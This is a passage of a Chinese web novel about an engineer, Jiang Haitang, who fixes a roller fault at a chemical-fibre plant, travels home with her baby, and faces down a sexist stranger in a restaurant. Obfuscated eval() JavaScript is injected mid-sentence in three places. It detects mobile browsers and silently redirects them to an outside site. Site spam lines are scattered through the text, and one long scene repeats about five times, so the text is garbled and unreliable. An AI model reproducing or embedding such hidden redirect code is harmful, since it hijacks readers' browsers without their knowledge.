其他几个人这时候也围拢了上来,关心小橙子。 “还是送去医院看看吧,孩子小,肠胃娇嫩的很,可不能粗心大意。 陈老随后立即联系厂里,请求厂里派了车,送姜海棠和小何去附近的职工医院看了看。 医生检查后确认只是轻微消化不良,开了点药。 小何听到医生的结论和姜海棠的差不多,这才安心许多。 虚惊一场,但这个小插曲也让小组其他成员更直观地感受到了姜海棠兼顾工作与家庭的不易。 李兴海私下里找到了小赵,对小赵说:“回头你跟厂里说说,看能不能每天给姜工她们那屋多供应点开水,孩子泡奶粉、烫奶瓶都需要,比我们的需求量大多了。 小赵惊讶地看着李工,没想到这个之前意见最大的人,现在居然主动关心起这些琐事,连忙点头应下。 小赵随后将李兴海的话说给姜海棠听的时候,姜海棠还挺意外的。 对于李兴海,她早就看出来,这个人对他是有些成见的,没想到,还能如此细心的关注到自己这边。 姜海棠将李兴海的善意记在了心里,别的做不了,她也只能在工作中更加认真地翻译和解释 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273144|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给其他几个人,尽量帮着其他几个人更多地掌握新知识。 姜海棠更加用心地将笔记整理成文,翻译更详细的设备手册,还要准备第二天交流的提纲和其他几个人一起分享。 然而,他们工作上的挑战远不止这些。 在调试一套关键的牵伸辊系统时,无论怎么调整,产品的均匀度总是达不到设计标准。 霍夫曼先生也皱紧了眉头,反复检查机械部分,认为安装没有问题。 姜海棠却没有轻易放弃。她拿着高倍放大镜,一寸寸地检查辊面,又反复比对德文图纸和中文翻译稿。终于,她发现了一个问题。 “陈老,你们看这里,她指着图纸上一处细微的标注,“原版这里标注的是‘……我怀疑,国内加工的这套辊子,可能只做了表面硬化处理,没有达到深度淬火的要求,导致刚性不足,在高速运转下产生了微变形! 姜海棠也是深思熟虑之后,才得出这个结论的。 这个发现石破天惊!所有人都围了过来。 有几个人觉得,这只是姜海棠的猜测,应该不会是这样的原因。 众人开始争执起来。 万厂长听了众人的争论之后,决定相信姜海棠。 他安排厂里的技术人员立刻去 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 核查加工记录。 半个小时后,核查结果出来,果然和姜海棠猜测的一样! 由于翻译的疏漏,加工厂只做了表面渗氮处理,硬度虽然接近,但抗变形能力远不如深度淬火。 问题根源找到了! 厂方又是后怕又是感激。 尤其是刚才反对姜海棠的几个技术人员,更是羞愧不已。 “海棠同志,刚才真是不好意思,要不是您坚持,我们只怕就要酿成大错了。” 如果没发现这个问题,一旦正式投产,不仅产品质量不稳定,还可能造成辊子早期损坏,停机维修的损失就大了。 他们原本对姜海棠这位年轻的女同志有些轻视的,就算有能耐,到底太年轻了。 干这一行的,在他们看来,也是需要积累资历的。 可现在,现实给了他们一巴掌,能力和年龄甚至和资历,都是没有必然联系的。 万厂长握着姜海棠的手连连道谢:“姜工,太感谢你了!这可是帮我们厂避免了一个大事故啊!” 陈老抚着胡子,脸上满是自豪。 李兴海等人更是心服口服。 她就是凭借过硬的专业能力和极其负责的态度,解决了连外方专家都没能一眼看出的关键问题的技术核心! 这是给国家长脸了。 这件事之后,姜海棠在项目组的威信达到了顶点。 连那位高傲的霍夫曼先生,每次见到她都会客气地点头致意,讨论技术时也会格外重视她的意见。 后续的调试工作和交流工作进展顺利了许多。 姜海棠不仅深度参与了技术交流,更敏锐地感受到了花城作为改革开放前沿的蓬勃生机。 随着工作的快速推进,姜海棠等人也迎来了第一次休息。 第324章 准备回家 他们走上了花城的街头,姜海棠也能敏锐地感受到花城与北方的不同。 街头的色彩更多了,人们的谈论中开始出现“市场”“效益”这样的词汇,一种压抑不住的活力在涌动。 虽然大的政策环境相同,但这里的氛围似乎更活络一些,厂区围墙外偶尔能听到小贩的叫卖声,工人们谈论奖金、效益的话题也比北方更多一些。 这种细微的差别,让她对即将到来的时代变迁有了更真切的感受。 姜海棠知道,在不久的将来,将迎来一个时代的变革阶段,花城能走在时代前列,从这时候,其实已经可以看出一些了。 虽然想过,抓住机遇,或许会让她在未来赚得盆满钵满,可是,姜海棠也就只是想一想。 她觉得,自己并不擅长做生意,还是安安心心搞事业比较好。 虽然不会大富大贵,可是一辈子平安顺遂却是能做到的。 做人不能得陇望蜀。 陈老看着姜海棠一副若有所思的样子,好奇问道:“海棠啊,你在想什么呢?” “陈老,我就是觉得,花城到底和我们不一样,这边的人似乎更加开放一点。” 陈老点头,他也发现了,花城有些事确实比起其他地方要更加开放一些,就是不知道,这样的变化到底是好还是坏。 看着远处繁忙的码头,陈老语重心长地说:“或许,这就是未来的样子。国家要发展,光靠引进不行,最终还是要靠我们自己消化、吸收、再创新!你既懂技术又通外语,将来是大有用武之地啊!” 姜海棠望着眼前充满希望的一切,郑重地点点头:“陈老,我明白。我会努力的。” 接下来,又是新一轮的忙碌,要交流研讨也要关注生产线的调试,高强度的工作,让几个人都瘦了。 姜海棠在忙碌之余,还开始着手整理此行的技术收获。 特别是那些图纸上未标明、但在调试中摸索出的经验参数,她都详细记录了下来,准备带回京城,作为未来消化吸收和国产化改进的重要依据。 姜海棠对这些知识进行梳理之后,不仅深入了解了国外先进化纤设备的技术细节,更通过这次交流,将自己的外语优势和技术知识完美结合,掌握了不少新东西,打开了不少新思路。 她撰写的技术简报和初步分析报告,思路清晰,见解独到,让陈老和小组其他成员都刮目相看。 他们哪里知道,姜海棠不光醒着的时候在努力,就是睡着了,也没有一时半刻的放松。 姜海棠因为吸收了新知识,会进入夜梦空间之中,通过夜梦空间里的书房,汲取更多的新知识。 这让姜海棠的成长速度越发的快起来。 李兴海几个人看着不断飞速进步的姜海棠,只觉得,要追赶姜海棠的脚步,根本就是有心无力。 他们也在很努力很努力,但还是赶不上姜海棠的速度。 几个人不得不相信,有些能力,可能是与生俱来的。 夜晚,招待所里安静下来,小橙子睡得香甜,偶尔咂咂嘴。 小何也发出了均匀的呼吸声。 只有姜海棠,依然在台灯下继续翻译小姑给的那本小说稿子。 这本小说已经差不多要彻底翻译完了,在工作之余翻译小说,是她放松大脑的一种方式。 能让她的紧张情绪得到短暂的放松,对于她晚上在夜梦空间的学习有更好的效果。 窗外,南国的夜充满生机。 姜海棠停下笔,听着远处的蛙声虫鸣,看着儿子恬静的睡颜,虽然身体疲惫,内心却充满了巨大的成就感和平静的喜悦。 这次南下,她证明了自己的价值,赢得了其他人的尊重,解决了实际的技术难题,也为自己未来的事业开辟了更广阔的道路。 虽然确实经历了一些困难,但从现在的情况看,这一切的付出和坚持,都是值得的。 花城化纤厂的技术交流研讨工作接近尾声。 在姜海棠的关键发现和精准沟通下,主要的技术难题都已解决,生产线调试进展顺利,预计很快就能进入稳定试运行阶段。 这比原定的计划早了五天时间。 既然交流工作即将结束,陈老便决定提前回京城去,也好让大家回去好好休息一下。 毕竟,这段时间的工作强度确实很高,尤其是姜海棠同志的工作强度,更是高的不敢想象,需要适时放松一下,才能更好的迎接工作。 厂方为了表示感谢,特意安排了一场较为正式的送行宴席。 地点设在厂办食堂最大的包间里,不光是万厂长、林副厂长等厂领导悉数到场,D国专家霍夫曼先生和他的助手也应邀出席。 宴席的菜肴比初到时丰盛许多,除了地道的粤菜,还特意准备了北方口味的饺子和几样京城点心,显然是用心安排了。 万厂长首先起身致辞,高度赞扬了专家小组特别是陈老和姜海棠的卓越贡献,感谢他们为化纤厂解决了大难题。 轮到陈老说话时,他笑着将姜海棠推到了前面:“万厂长 ,各位同志,要说这次贡献最大的,还得是我们海棠同志!” 陈老这话,立即得到了林厂长的赞成:“姜工不光外语顶呱呱,技术眼光更是毒辣,心细如发!要不是她,咱们厂那几根价值不菲的辊子,恐怕用不了多久就得报废咯!” 得到众人的夸赞,姜海棠落落大方地站起身,谦逊地说:“陈老过奖了,万厂长、林厂长过誉了。这都是我们整个小组共同努力的结果,李工、张工、云工他们在机械和工艺上的经验给了我很多启发,厂里的技术人员也配合得非常好。能为大家解决一点实际问题,是我的荣幸。” 她的话既肯定了自己的努力,也照顾到了团队所有人,听得李兴海等人心里舒坦,暗自点头。 霍夫曼先生也通过翻译表达了对姜海棠的赞赏,特别提到了她专业的外语水平和扎实的技术基础,认为她是“非常优秀的工程师”。 酒过三巡,宴席气氛热烈起来。 李兴海主动端起酒杯,走到姜海棠面前,表情有些局促但很真诚:“姜工,这杯酒我敬你。说实话,刚开始……我老李有点迂腐,说了些不上台面的话,你别往心里去。你这本事,我服!以后工作上有什么事,尽管开口!” 这是李兴海第一次正式为自己最初的态度道歉和表态。 姜海棠虽然对于李兴海在这样的场合说出这些话觉得意外,但还是连忙端起汽水:“李工您言重了,大家一起学习进步,以后还请李工多多指教。何况,您也为了小橙子这小子操心不少,我还应该感谢您呢。” 李兴海知道,这是自己当初叮嘱小赵的事被姜海棠知道了,他不好意思的笑笑。 张建国和云志浩也纷纷过来敬酒,言语间充满了对姜海棠的佩服。 小赵干事兴奋地拿出洗好的照片分给大家,正是火车上陈老抱着小橙子,大家围在一起讨论的那张。 照片上每个人都很专注,小橙子睁着大眼睛的样子尤为可爱。 “这张照片太有意义了!”万厂长拿着照片爱不释手,“这就是咱们技术工作者攻坚克难又充满温情的真实写照啊!” 宴席结束后,回到招待所,姜海棠和小何开始做最后的行李收拾。 小橙子似乎感觉到要回家了,格外兴奋,在小何铺开的床单上咿咿呀呀地唱着谁也听不懂的歌。 陈老背着手溜达过来,看着这一幕,对姜海棠说:“海棠啊,这次回去,休息几天之后,部里那个项目就要正式启动了。你的能力大家都看到了,我想让你多承担一些,不仅仅是 翻译,技术论证和方案设计这块,你也得多挑担子。有没有信心?” 姜海棠眼睛一亮,这正是她所期望的:“陈老,我有信心!谢谢您给我这个机会!” “好!我就喜欢年轻人这股冲劲!”陈老满意地点头,“对了,老周前几天打电话还问起你呢,对你这次的表现非常满意。等你回去,估计还有好消息。” “陈老,既然要休息几天,我想拐道去一趟西北,纺织厂和机械厂那边,我还有些工作要收尾。” 陈老没有反对,点头说:“我让人买票的时候,给你买转车的票。前一段我们一起走,后面你转车自己去西北,可以吗?” 姜海棠也是习惯了在铁路上奔波的,并不担心什么,感谢了陈老之后,一口应下。 第二天,几个人在花城采购了一些东西,打算带回家给亲戚朋友当做伴手礼,姜海棠和小何也买了一些。 不过,小何只买了一点,说是家里没有亲人了,就只有两个不错的小姐妹,不用买多少东西。 姜海棠则买了不少,除了给京城的家人们的,还买了一些打算带回金城去。 她估计,这次之后,以后来金城的机会就少了,因此,买的礼物也是比较重的。 姜海棠发现自己买的东西比较多之后,打算邮寄回去,李兴海几个人表示,他们要回京城,顺道就带回去了,等姜海棠什么时候回京城,和他们联系,他们给送过来就行。 小赵也十分郑重的表示,绝对全部带回,不会遗漏一点。 盛情难却,姜海棠只能麻烦他们将给京城家人们的礼物带了回去。 翌日,厂里派车送他们去火车站。 翻译,技术论证和方案设计这块,你也得多挑担子。有没有信心?” 姜海棠眼睛一亮,这正是她所期望的:“陈老,我有信心!谢谢您给我这个机会!” “好!我就喜欢年轻人这股冲劲!”陈老满意地点头,“对了,老周前几天打电话还问起你呢,对你这次的表现非常满意。等你回去,估计还有好消息。” “陈老,既然要休息几天,我想拐道去一趟西北,纺织厂和机械厂那边,我还有些工作要收尾。” 陈老没有反对,点头说:“我让人买票的时候,给你买转车的票。前一段我们一起走,后面你转车自己去西北,可以吗?” 姜海棠也是习惯了在铁路上奔波的,并不担心什么,感谢了陈老之后,一口应下。 第二天,几个人在花城采购了一些东西,打算带回家给亲戚朋友当做伴手礼,姜海棠和小何也买了一些。 不过,小何只买了一点,说是家里没有亲人了,就只有两个不错的小姐妹,不用买多少东西。 姜海棠则买了不少,除了给京城的家人们的,还买了一些打算带回金城去。 她估计,这次之后,以后来金城的机会就少了,因此,买的礼物也是比较重的。 姜海棠发现自己买的东西比较多之后,打算邮寄回去,李兴海几个人表示,他们要回京城,顺道就带回去了,等姜海棠什么时候回京城,和他们联系,他们给送过来就行。 小赵也十分郑重的表示,绝对全部带回,不会遗漏一点。 盛情难却,姜海棠只能麻烦他们将给京城家人们的礼物带了回去。 翌日,厂里派车送他们去火车站。 翻译,技术论证和方案设计这块,你也得多挑担子。有没有信心?” 姜海棠眼睛一亮,这正是她所期望的:“陈老,我有信心!谢谢您给我这个机会!” “好!我就喜欢年轻人这股冲劲!”陈老满意地点头,“对了,老周前几天打电话还问起你呢,对你这次的表现非常满意。等你回去,估计还有好消息。” “陈老,既然要休息几天,我想拐道去一趟西北,纺织厂和机械厂那边,我还有些工作要收尾。” 陈老没有反对,点头说:“我让人买票的时候,给你买转车的票。前一段我们一起走,后面你转车自己去西北,可以吗?” 姜海棠也是习惯了在铁路上奔波的,并不担心什么,感谢了陈老之后,一口应下。 第二天,几个人在花城采购了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273145|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些东西,打算带回家给亲戚朋友当做伴手礼,姜海棠和小何也买了一些。 不过,小何只买了一点,说是家里没有亲人了,就只有两个不错的小姐妹,不用买多少东西。 姜海棠则买了不少,除了给京城的家人们的,还买了一些打算带回金城去。 她估计,这次之后,以后来金城的机会就少了,因此,买的礼物也是比较重的。 姜海棠发现自己买的东西比较多之后,打算邮寄回去,李兴海几个人表示,他们要回京城,顺道就带回去了,等姜海棠什么时候回京城,和他们联系,他们给送过来就行。 小赵也十分郑重的表示,绝对全部带回,不会遗漏一点。 盛情难却,姜海棠只能麻烦他们将给京城家人们的礼物带了回去。 翌日,厂里派车送他们去火车站。 翻译,技术论证和方案设计这块,你也得多挑担子。有没有信心?” 姜海棠眼睛一亮,这正是她所期望的:“陈老,我有信心!谢谢您给我这个机会!” “好!我就喜欢年轻人这股冲劲!”陈老满意地点头,“对了,老周前几天打电话还问起你呢,对你这次的表现非常满意。等你回去,估计还有好消息。” “陈老,既然要休息几天,我想拐道去一趟西北,纺织厂和机械厂那边,我还有些工作要收尾。” 陈老没有反对,点头说:“我让人买票的时候,给你买转车的票。前一段我们一起走,后面你转车自己去西北,可以吗?” 姜海棠也是习惯了在铁路上奔波的,并不担心什么,感谢了陈老之后,一口应下。 第二天,几个人在花城采购了一些东西,打算带回家给亲戚朋友当做伴手礼,姜海棠和小何也买了一些。 不过,小何只买了一点,说是家里没有亲人了,就只有两个不错的小姐妹,不用买多少东西。 姜海棠则买了不少,除了给京城的家人们的,还买了一些打算带回金城去。 她估计,这次之后,以后来金城的机会就少了,因此,买的礼物也是比较重的。 姜海棠发现自己买的东西比较多之后,打算邮寄回去,李兴海几个人表示,他们要回京城,顺道就带回去了,等姜海棠什么时候回京城,和他们联系,他们给送过来就行。 小赵也十分郑重的表示,绝对全部带回,不会遗漏一点。 盛情难却,姜海棠只能麻烦他们将给京城家人们的礼物带了回去。 翌日,厂里派车送他们去火车站。 翻译,技术论证和方案设计这块,你也得多挑担子。有没有信心?” 姜海棠眼睛一亮,这正是她所期望的:“陈老,我有信心!谢谢您给我这个机会!” “好!我就喜欢年轻人这股冲劲!”陈老满意地点头,“对了,老周前几天打电话还问起你呢,对你这次的表现非常满意。等你回去,估计还有好消息。” “陈老,既然要休息几天,我想拐道去一趟西北,纺织厂和机械厂那边,我还有些工作要收尾。” 陈老没有反对,点头说:“我让人买票的时候,给你买转车的票。前一段我们一起走,后面你转车自己去西北,可以吗?” 姜海棠也是习惯了在铁路上奔波的,并不担心什么,感谢了陈老之后,一口应下。 第二天,几个人在花城采购了一些东西,打算带回家给亲戚朋友当做伴手礼,姜海棠和小何也买了一些。 不过,小何只买了一点,说是家里没有亲人了,就只有两个不错的小姐妹,不用买多少东西。 姜海棠则买了不少,除了给京城的家人们的,还买了一些打算带回金城去。 她估计,这次之后,以后来金城的机会就少了,因此,买的礼物也是比较重的。 姜海棠发现自己买的东西比较多之后,打算邮寄回去,李兴海几个人表示,他们要回京城,顺道就带回去了,等姜海棠什么时候回京城,和他们联系,他们给送过来就行。 小赵也十分郑重的表示,绝对全部带回,不会遗漏一点。 盛情难却,姜海棠只能麻烦他们将给京城家人们的礼物带了回去。 翌日,厂里派车送他们去火车站。 翻译,技术论证和方案设计这块,你也得多挑担子。有没有信心?” 姜海棠眼睛一亮,这正是她所期望的:“陈老,我有信心!谢谢您给我这个机会!” “好!我就喜欢年轻人这股冲劲!”陈老满意地点头,“对了,老周前几天打电话还问起你呢,对你这次的表现非常满意。等你回去,估计还有好消息。” “陈老,既然要休息几天,我想拐道去一趟西北,纺织厂和机械厂那边,我还有些工作要收尾。” 陈老没有反对,点头说:“我让人买票的时候,给你买转车的票。前一段我们一起走,后面你转车自己去西北,可以吗?” 姜海棠也是习惯了在铁路上奔波的,并不担心什么,感谢了陈老之后,一口应下。 第二天,几个人在花城采购了一些东西,打算带回家给亲戚朋友当做伴手礼,姜海棠和小何也买了一些。 不过,小何只买了一点,说是家里没有亲人了,就只有两个不错的小姐妹,不用买多少东西。 姜海棠则买了不少,除了给京城的家人们的,还买了一些打算带回金城去。 她估计,这次之后,以后来金城的机会就少了,因此,买的礼物也是比较重的。 姜海棠发现自己买的东西比较多之后,打算邮寄回去,李兴海几个人表示,他们要回京城,顺道就带回去了,等姜海棠什么时候回京城,和他们联系,他们给送过来就行。 小赵也十分郑重的表示,绝对全部带回,不会遗漏一点。 盛情难却,姜海棠只能麻烦他们将给京城家人们的礼物带了回去。 翌日,厂里派车送他们去火车站。 第325章 转车 万厂长等人亲自到招待所门口送行,准备了不少当地的土特产让他们带上,干货、水果塞了不少。 “各位一路顺风!以后常来指导工作! 火车缓缓驶出花城站,载着满满的收获踏上归途。 回去的心情比来时更加轻松愉悦,大家说说笑笑地,讨论着此行的收获,对未来的技术发展充满期待,气氛轻松到不行。 小橙子似乎也更适应火车了,玩累了就睡,睡醒了就咿咿呀呀地和车厢里的人“聊天。 陈老对此其实是有些意外的,毕竟,这么小的孩子,怎么会这样适应火车? 一般来说,几个小时之后,就会哭闹不休,可是,小橙子完全没有这样的情况。 该吃吃该睡睡,该说话的时候说话。 这一个月的接触,让小橙子对李兴海都不是十分排斥了。 火车上李兴海主动抱了他一会儿,小家伙都没哭,反而好奇地抓他的扣子玩,让李兴海受宠若惊。 总算得到了和大家同样的对待,也算圆满了。 小橙子不哭不闹,又有好几个人帮忙看着,姜海棠就利用回程的时间,开始整理此行厚厚几本笔记和技术资料,着手起草汇报材料的提纲。 她知道,回去后还有大量的工作要做,而她还需要去一趟西北,更需要抓紧时间。 陈老看着窗外飞速后退的风景,看着认真的姜海棠,心里忽然就有种感觉,觉得眼前这个年轻的女孩子,可能拥有更广阔的世界和未来无限的可能。 这只是开始,她的舞台,绝不仅仅限于书房和翻译稿。 火车一路北上,张建国几个人围着姜海棠,讨论着回去后如何将这次的学习成果应用到各自的研究项目中。 姜海棠毫无保留地分享着她的笔记和想法,这种开放的态度让陈老对这个年轻姑娘的心欣赏更多几分,欣慰地捋着胡子。 这次南下,不仅解决了花城厂的实际问题,更通过一个月的交流和实际操作磨合出了一支有凝聚力、有战斗力的技术团队,而姜海棠无疑是其中的核心和粘合剂。 在未来的很长一段时间,姜海棠将会带领这个队伍前进。 火车抵达了中转枢纽站。 陈老、李兴海等人要继续前行,而姜海棠和小何则要等待另一趟开往西北方向的火车。 下车前,陈老再三叮嘱:“海棠,路上一定注意安全!到了西北,就安心待几天,部里那边你放心,汇报材料我先整理 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 着等你回来咱们再合议。” 两口子长期分居的苦楚陈老十分能理解所以也没想着让姜海棠很快回京城。 “谢谢陈老您也多保重身体。”姜海棠感激地说。 李兴海、张建国、云志浩和小赵也纷纷来道别。 李兴海挠挠头难得地有些不好意思:“姜工 小赵拍着胸脯保证:“姜工您的东西我一定原封不动送到陆家!” 列车缓缓启动姜海棠抱着小橙子和小何站在月台上挥手告别直到列车消失在视野中。 中转候车的时间有几个小时姜海棠和小何找了个相对安静的角落坐下休息。 小橙子对人来人往的火车站充满了好奇咿咿呀呀地说个不停。 小何也是第一次到这里十分新鲜地看着周围。 “海棠这个车站好大啊!” “这是重要的车站枢纽来往停靠的车次非常多不光是车站大外面也很繁华我把咱们的行李寄存一下后咱们去外面的国营饭店吃点饭。” 姜海棠叮嘱小何带好小橙子不要乱跑之后自己去寄存行李了。 小橙子看着妈妈要走的时候想跟着可在小何细心的安抚下还是安静了下来。 小何细心地照看着孩子时不时给他喂点水逗着小家伙咿咿呀呀地说话。 很快姜海棠寄存好了行李回来了姜海棠抱着小橙子和小何一起走出喧闹的火车站。 站前广场比记忆中更加热闹了些虽然依旧是灰蓝为主的色调但行人脸上的神情似乎比前两年松快了些偶尔还能看到一两个提着篮子悄悄向旅客兜售煮鸡蛋或花生的小贩。 姜海棠发现原来不止花城在悄悄地发生变化很多地方都已经开始初见端倪。 国营饭店就在广场东侧是一栋颇有年代感的苏式建筑门脸大气。 姜海棠轻车熟路地领着有些拘谨的小何走进去。 大厅里人声鼎沸混合着饭菜的香气和烟草的味道。 穿着白色围裙的服务员端着盘子在各桌之间穿梭大声吆喝着菜名。 墙壁上挂着红色的标语角落里摆着高大的绿植一切都透着这个时代特有的气息但似乎和之前路过的时候又有什么不同。 “两位同志吃饭吗?这边还有位置!”一个嗓门洪亮的中年女服务员招呼她们指了指靠窗的一张方桌。 “谢 听说看这本书的人都是很幸运的,分享后你的运气会更棒 谢同志。姜海棠笑着点头,和小何走过去坐下。 她把小橙子交给小何抱着,问道:“香草姐,你想吃什么?这边的大肉包子和烩菜都挺不错的。 小何有些彷徨,虽然在花城待了这么长时间,可一切都是化纤厂安排好的,因此,她并没有为这些事情做过选择。 “海棠,你点吧,我吃啥都行。 姜海棠也不为难小何,走到窗口对服务员说:“同志,麻烦要八个大肉包子,两碗烩面,一个醋溜白菜,一个红烧肉,再给我们一小碗鸡蛋羹,蒸得嫩一点,给孩子吃。 她记得这里的鸡蛋羹蒸得又滑又嫩,很适合小橙子。 那个服务员对于姜海棠竟然要了这么多的东西,还是很意外的。 两个女同志,带着小孩子,能吃这么多? 不过,她什么都没说,只是朝着后厨麻利地重复了一遍。 “八个大肉包子,两碗烩面,一个醋溜白菜,一个红烧肉,一小碗嫩嫩的鸡蛋羹。 姜海棠回到座位上,小何小声说:“海棠姐,点太多了吧?咱们吃不了那么多。 “没事,吃不完带着路上吃,不会浪费的。这一路辛苦你了,得吃点好的。姜海棠笑道,又拿出小水壶喂小橙子喝水。 等待上菜的时候,小何好奇地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277838|173176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打量着四周,看什么都觉得新鲜。 隔壁桌几个穿着工装、干部模样的人正在边吃边讨论着什么“生产指标“技术革新,另一桌像是出差的销售员,在低声交换着各地的见闻。 周围几桌子人说话的语调各不相同,显然都是外来客商。 小橙子也睁着大眼睛,被周围热闹的景象吸引,小脑袋转来转去,嘴里发出“哦哦 “可不能玩这个。姜海棠温柔地握住儿子的小手,从随身包里拿出一个洗干净的花城带来的小柑橘给他抓着。 这时,菜陆续上来了。 热气腾腾的大肉包子白白胖胖,散发着诱人的麦香和肉香,两碗烩面看着就非常地道;醋溜白菜酸香扑鼻,勾人食欲,红烧肉酱香浓郁,味道好得不得了。 给小家伙的鸡蛋羹也蒸得恰到好处,嫩滑如布丁。 “香草姐,你快吃吧,趁热。姜海棠说着,把鸡蛋羹碗挪到面前,打算给小橙子喂。 “海棠,你吃饭,我给小橙子喂吧。小何急忙想端过鸡蛋羹。 姜海棠摆摆手,说道:“不用,这段时间,我照顾小家伙的时候比较少。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 姜海棠小心地吹凉,一勺一勺地喂给小橙子。 小家伙吃得津津有味,小嘴巴一动一动的。 小何想了想,端起烩面开始吃了起来,第一口吃下,她的眼睛顿时亮了:“嗯!真香!海棠姐,这面真好吃!” 北方的面食确实做得实在,这几天在花城,虽然有面食,但主要还是米饭为主,作为北方人,小何还真有点想念面食了。 “好吃就多吃点。”姜海棠给小家伙喂了几口之后,看着差不多了,自己也端过一碗面吃起来。 奔波一路,火车上虽然也能买饭吃,但总是不一样,那味道和国营饭店没法比。 现在能吃上这样一顿热乎饭,胃里心里都舒坦了不少。 她一边照顾孩子,一边和小何闲聊着:“等到了金城,厂里宿舍应该都安排好了。那边条件虽然比不上京城,但大家都挺热情,我们会在纺织厂家属院住一段时间,香草姐你没问题吧?” 小何点头:“嗯,我没问题。左右我就一个人,走到哪里都是家。” 她现在对姜海棠是既感激又佩服。 如果不是机缘巧合来到陆家,她哪里能有这样见世面的机会? 虽然说只是跟着姜海棠,但到底和以前过的日子不一样了。 正吃着,旁边那桌讨论“技术革新”的人声音大了些,似乎起了点争执。 姜海棠下意识地听了一耳朵,好像是在争论一种新材料的应用可行性。 她听着其中一方的论点有个明显的技术误区,出于技术人员的本能,她下意识地转过头。 那边正在争执的人看到姜海棠朝着他们看过来,一个貌似脾气不太好的人立即冲着姜海棠发作起来。 “你看什么,一个女人,相夫教子就完了,我们讨论的,是你能听明白的?” 对方的语气十分轻蔑,显然,对于姜海棠这个带着娃出门的女人是完全看不到眼里的。 第326章 女人未必不如男人 这个眼神,其实和李兴海初见面时候的眼神是差不多的,姜海棠并不是十分放在心上。 但那人语气轻蔑且声音不小,引得周围几桌人都看了过来。 小何到底没有见过这样的局面,当下脸涨红了,她有些无措地低下头,下意识抱紧了小橙子。 然后,又像想到了什么,又抬起头,一脸担忧地看着姜海棠,并且注意对方几个男人,生怕那几个人因为她们只是女人带着孩子就动手。 甚至,在这一瞬间,小何都想到了,如果对方要动手,自己一定要拼命的保护姜海棠和小橙子不受伤害。 姜海棠却并未动怒,她面色平静地放下筷子,目光清亮地看向那个出言不逊的中年男人。 “这位同志,技术讨论不分男女,伟大领导都说了,妇女能顶半边天,您这样歧视妇女怕是不对吧?”姜海棠的声音柔和中带着坚决。 对方一听,更加不高兴了,讥笑着对其他几个人说:“哎呀,还是口齿伶俐的,都知道技术讨论不分男女了。” “可不,现在女人的地位虽说提高了,但你可别忘了,只要没有受过教育,就算平等了,这些专业的知识,你也是不懂的。”另外一个人显然也是赞成这个开口说话的年轻男人的话的。 姜海棠微笑着反问:“可是,你们怎么就知道,我没有接受过教育呢?” 那个一直挤兑姜海棠的年轻男人笑声更大了,指着姜海棠说:“你们听到了没,这个女人说她接受过教育,该不会是听过几节扫盲课,认识几个字吧?” 虽然这个男人觉得姜海棠一个女人,识字不多,但其他几个人在打量了姜海棠之后,觉得这个女人应该不是只上过扫盲课的。 毕竟,她的穿着打扮和气质,能看出来出身不错。 而出身不错的女孩子,接受教育的比较多。 “我恰好对你们讨论的聚丙烯酰胺材料有些了解,您刚才坚持它在高温碱性环境下稳定性不足,建议降低使用浓度,这个观点是基于三年前的旧数据。”姜海棠不屑与对方口舌之争,因此,直接说到重点。 对方听到姜海棠忽然提到了聚丙烯酰胺材料,还是有些意外的,他以为,这个女人充其量就是识得几个字,却没想到,对方还知道聚丙烯酰胺材料。 “你懂这个?”他失声问道。 “去年华大化工系的最新研究成果已经表明,通过分子结构改性,其耐温性和碱稳定性都有了显著提升,相关数据发表在《化工学报》第三期,标题是《改性聚丙烯酰胺在 高温碱性条件下的性能研究与应用前景》,作者是李振华副教授的课题组。” 姜海棠再度开口,这一次,不光是年轻男人惊讶,就连同行的其他人都惊讶了。 “如果您需要,我可以提供更详细的页码和实验数据区间。” 她语速不快,但每一个字都清晰有力,带着不容置疑的专业性。不仅准确说出了期刊名称、期号、文章标题和作者,连研究方向都点得明明白白。 整个场面瞬间安静了下来。 原本嘈杂的饭店这一角,仿佛被按下了静音键。 那个刚才还一脸倨傲的男人张着嘴,脸上的表情从恼怒变成了错愕,然后是难以置信的尴尬。 他旁边的几个同伴也愣住了,面面相觑。 他们显然都没想到,姜海棠能如此专业。 他们也不是没见识的人,虽然姜海棠只说了几句话,但足够让他们都意识到,这次遇到了高手,说不定还是专家级别的高手。 但是,化工领域怎么没听过有这样一个年轻的专业的女同志? 一个年长一些的男人猛地一拍大腿:“哎呀!我想起来了!是有这么一篇!小刘,你还记得不?不记得也不要紧,咱们资料室肯定订了,回去得赶紧找出来看看!” 